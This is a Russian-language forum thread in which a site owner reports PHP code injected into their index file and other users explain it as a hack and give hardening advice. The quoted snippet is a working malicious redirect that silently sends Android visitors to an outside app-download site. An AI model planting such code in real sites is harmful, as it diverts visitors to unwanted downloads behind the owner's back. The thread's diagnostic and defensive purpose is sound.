Помогите узнать, что это такое.

[ephiop]

в индекс вставляет код 

<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

что это и как предотвратить? Змінено 25 листопада 2014 користувачем afwollis
пппппппппппппп [code]

[halfhope]

У Вас взломали сайт, ищите дыру, закрывайте.

[sv2109]

если зашли с андроида то перекидывает на

http://load-app.org/m/?mobile_version=CleanRu

похоже сайт загрузки какого-то приложения. 

я когда исправлял вам ошибку на вашем сайте не обратил на это внимание, что это вредоносный код, подумал что это вы сами что-то  добавили

 

пс удалить все, и да, искать дыры в сайте + менять все пароли на фтп и в админку, вспоминать что устанавливали в последнее время, какие модули и кому доступ давали к сайту.

[ephiop]

это поисковый запрос, я это читал,

 

понятно что дырка, где ???

[AlexDW]

99% всех причин подобных радостей - использование платных дополнений на халяву (здравствуй, варез!), раздача доступа кому попало, слабые/идиотские пароли и банальные вирусы на компе, с которого осуществляется доступ.

 

Изредка - могут получить доступ через брешь на соседнем сайте у хостера.

 

Насчет того "где?!" - смотреть логи сайта и FTP

 

Чтоб такого не было - исключить практику вареза, если таковая имеется. Ограничить доступ FTP по ip, использовать актуальный и адекватно настроенный антивирус, не раздавать доступ кому попало, если необходимость есть - резать пользователя в правах по максимуму, только то что необходимо. Не заходить с "левых" машин, либо использовать для этого специальный урезанный в правах аккаунт. Делать нормальные пароли, а не вида 12345.

 

Сильно желательно регулярно делать бекап файлов и БД